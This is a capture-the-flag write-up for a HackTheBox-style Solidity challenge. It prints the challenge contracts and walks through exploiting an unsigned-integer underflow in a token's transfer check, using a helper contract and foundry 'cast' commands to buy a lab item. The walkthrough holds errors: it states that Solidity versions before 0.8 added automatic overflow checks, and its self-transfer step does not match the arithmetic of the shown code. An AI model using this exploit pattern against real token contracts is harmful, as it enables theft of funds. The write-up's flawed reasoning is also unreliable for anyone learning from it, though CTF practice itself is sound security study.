HTB: Token To Wonderland

Table of Contents

The Contracts

They're long, so they're in this dropdown.

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;

import {SilverCoin} from "./SilverCoin.sol";
import {Shop} from "./Shop.sol";

contract Setup {
    Shop public immutable TARGET;

    constructor(address _player) payable {
        require(msg.value == 1 ether);
        SilverCoin silverCoin = new SilverCoin();
        silverCoin.transfer(_player, 100);
        TARGET = new Shop(address(silverCoin));
    }

    function isSolved(address _player) public view returns (bool) {
        (,, address ownerOfKey) = TARGET.viewItem(2);
        return ownerOfKey == _player;
    }
}

Shop.sol

pragma solidity ^0.7.0;

import {SilverCoin} from "./SilverCoin.sol";

contract Shop {
    struct Item {
        string name;
        uint256 price;
        address owner;
    }

    Item[] public items;
    SilverCoin silverCoin;

    constructor(address _silverCoinAddress) {
        silverCoin = SilverCoin(_silverCoinAddress);
        items.push(Item("Diamond Necklace", 1_000_000, address(this)));
        items.push(Item("Ancient Stone", 70_000, address(this)));
        items.push(Item("Golden Key", 25_000_000, address(this)));
    }

    function buyItem(uint256 _index) public {
        Item memory _item = items[_index];
        require(_item.owner == address(this), "Item already sold");
        bool success = silverCoin.transferFrom(msg.sender, address(this), _item.price);
        require(success, "Payment failed!");
        items[_index].owner = msg.sender;
    }

    function viewItem(uint256 _index) public view returns (string memory, uint256, address) {
        return (items[_index].name, items[_index].price, items[_index].owner);
    }
}

SilverCoin.sol

pragma solidity ^0.7.0;

contract SilverCoin {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    string public name = "SilverCoins";
    string public symbol = "SVC";
    uint256 public totalSupply;

    constructor() {
        _mint(msg.sender, 1_000_000_000_000_000);
    }

    function decimals() public pure returns (uint256) {
        return 18;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transferFrom(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance - amount >= 0, "ERC20: transfer amount exceeds balance");
        _balances[from] = fromBalance - amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function _transferFrom(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = fromBalance - amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function _msgSender() internal view returns (address) {
        return msg.sender;
    }
}

Looking at the contracts

Setup.sol

Looking at Setup.sol we can see our player has been initialised with 100 silvercoins: silverCoin.transfer(_player, 100);

Shop.sol

Looking at Shop.sol we can see that the shop has 3 items stored in an array:

items.push(Item("Diamond Necklace", 1_000_000, address(this))); // index 0
items.push(Item("Ancient Stone", 70_000, address(this))); // index 1
items.push(Item("Golden Key", 25_000_000, address(this))); //index 2

We need to buy the golden key, since there’s no functions to reduce prices, we thus need to find an exploit in the silvercoin contract

SilverCoin.sol

Reading the contract, I noticed the vesion of the contract 0.7.0, in versions before 0.8, the language introduced automatic checks for arithmetic operations. If an overflow or underflow occurs, the contract will revert the transaction. This is a safety feature to prevent unintended behavior, which is exactly what we’re are trying to cause

Exploiting

Let’s look at a function where we can possible cause an underflow:

function _transfer(address from, address to, uint256 amount) internal {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");

    uint256 fromBalance = _balances[from];
    require(fromBalance - amount >= 0, "ERC20: transfer amount exceeds balance");
    _balances[from] = fromBalance - amount;
    _balances[to] += amount;
    emit Transfer(from, to, amount);
}

The underflow is in the line:

require(fromBalance - amount >= 0, "ERC20: transfer amount exceeds balance");

While it is trying to check for an underflow, since we are working with unsigned integers, the expression fromBalance - amount can never be negative. If amount is greater than fromBalance, it will underflow and produce a very large number (close to the maximum value a uint256 can hold, which is extremely high)

However, we’re never given the address for SilverCoin, thus we must find a way to retrieve this address, this is the first challenge. Thankfully, there’s smart people in the world, and on this stackoverflow post I found an easy way to get the contract address:

nonce1= address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), _origin, bytes1(0x01))))));

We use nonce1 since it’s the first the first thing the Setup contract deploys - and contracts deployed by another contract start at nonce 1. The easiest way I could think of (because I don’t want to start making too many scripts) was to make the following Solidity contract:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Token_To_Wonderland {
    
    function getContractAddress(address creator_account) public pure returns (address) {
        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), creator_account, bytes1(0x01))))));
    }
}

After which I called the function with the address of the Setup contract, and got the address of the SilverCoin contract: 0xdff1defddd42bac30cfde3c76f6d7b276ba886fa (Remember this changes depending on your setup, you won’t have the same).

To verify this was truly the address, I used foundry-rs to call the balanceOf() and then saw the balance was the correct 100.

After this, I noticed that to transfer, you first need to have an “allowance” that corresponds to the amount you want to transfer, so I called:

cast call --rpc-url $RPC --private-key $PK $COIN "allowance(address, address)(uint256)" $ADDRESS $ADDRESS

Where I then noticed I had an allowance of 0, to increase this I called:

cast send --rpc-url $RPC --private-key $PK $COIN "approve(address, uint256)(bool)" $ADDRESS 2^(256)-1

Where I then checked the allowance again, and saw it was now the maximum value.

Then I could transfer myself the maximum amount of coins, however I only need 25million to get the gold key, so either I can calculate the exact amount needed, or just do this which gives us waaaaay too much:

cast send --rpc-url $RPC --private-key $PK $COIN "transfer(address, uint256)(bool)" $ADDRESS 25000100

Where I then checked my balance and saw I had the correct amount, and then I tried to buy the golden key:

cast send --rpc-url $RPC --private-key $PK $SHOP "buyItem(uint256)" 2

Which gave me the error:

(code: 3, message: execution reverted: ERC20: insufficient allowance, data:(...)

Which at first I thought was weird, until I noticed it uses the transferFrom() function, which means it checks the allowance of the Shop contract in relation to the player. So I increased my allowance from own account to the shop address, and then tried to buy again, which worked.